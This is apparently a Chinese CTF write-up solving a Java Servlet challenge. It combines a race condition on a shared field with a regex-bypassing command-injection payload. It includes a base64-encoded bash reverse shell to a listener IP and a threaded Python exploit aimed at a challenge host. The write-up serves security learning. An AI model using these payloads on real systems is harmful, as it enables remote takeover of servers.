某比赛的某题
2022-04-08 13:21:00 # Java

某比赛的某题

今天准备继续学fastjson的,朋友丢过来一道题,看了一下是java的Servlet

给了附件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package com.le1a.web.servlet;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

@WebServlet("/test")
public class BisaiServlet extends HttpServlet {
public int isok;

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse response) throws ServletException, IOException {
isok=1;
String cmd = req.getParameter("cmd");
if(cmd==null){
response.getWriter().write("please input get cmd");
}
String status = req.getParameter("status");
if(status.equals("isok")){
isok=0;
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}

if(isok==0){
return;
}
if(status.equals("isok")){
try {
response.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(response, new Object[]{new Integer(200)});
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
}


Pattern p = Pattern.compile("\\$\\(printf .*?\\)");
Matcher m = p.matcher(cmd);
boolean b = m.matches();
if(b){
// response.getWriter().write(cmd);
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes();

response.getOutputStream().write(result);
response.getOutputStream().flush();
response.getOutputStream().close();
}

}else{
response.getWriter().write("no no no~");
}
}
}

大致看了一下代码,请求两个参数,一个cmd、一个status,首先就是判断status是否为isok,如果是的话就设置isok参数为0,接着走到下一个if语句就直接return了,而命令执行的逻辑是在后面的if语句中,而这两个if语句的判断条件是一致的,也就是不能走到这个if,但要走到下面的if中,这里就又涉及到Servlet的线性安全问题了,以前y4师傅也提到过这个,VNCTF也出现过,这里就不在赘述了,总之就是跑条件竞争就好了。

继续看后面,有一个正则匹配\\$\\(printf .*?\\),需要cmd中匹配到正则,然后才能进入下一个if,最后是拼凑出了能用的payload:

1
$(printf 1) || 命令 || echo \)

本地curl一下看一下命令是否被执行

image-20220408133415718

发现能成功执行,接下来就改一下命令,直接反弹shell,值得注意的是Java环境反弹shell需要Base64才行,所以payload为:

1
2
/test?cmd=$(printf 1) || bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuNjYuNjcvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}&status=isok
/test?cmd=$(printf 1) || bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuNjYuNjcvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}&status=Le1a

因为Payload中含有&,会与传参的&混淆,所以将其url编码一下。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import threading

url1 = "http://82.156.76.166:8083/test?cmd=%24(printf%201)%20%7C%7C%20bash%20-c%20'%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMDEuNDMuNjYuNjcvMTIzNDUgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D'%20%7C%7C%20echo%20%5C)&status=isok"
url2 = "http://82.156.76.166:8083/test?cmd=%24(printf%201)%20%7C%7C%20bash%20-c%20'%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMDEuNDMuNjYuNjcvMTIzNDUgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D'%20%7C%7C%20echo%20%5C)&status=Le1a"

def one(session):
while event.isSet():
res = session.get(url=url1).text

def two(session):
while event.isSet():
res = session.get(url=url2).text

if __name__ == '__main__':
event = threading.Event()
event.set()
session = requests.session()
for i in range(1, 30):
threading.Thread(target=one, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=two, args=(session,)).start()

监听端口,然后运行脚本,收到反弹的Shell,find找一下flag,得到flag:

1
flag{i_love_Gcker_very_m0ch}

image-20220408133849351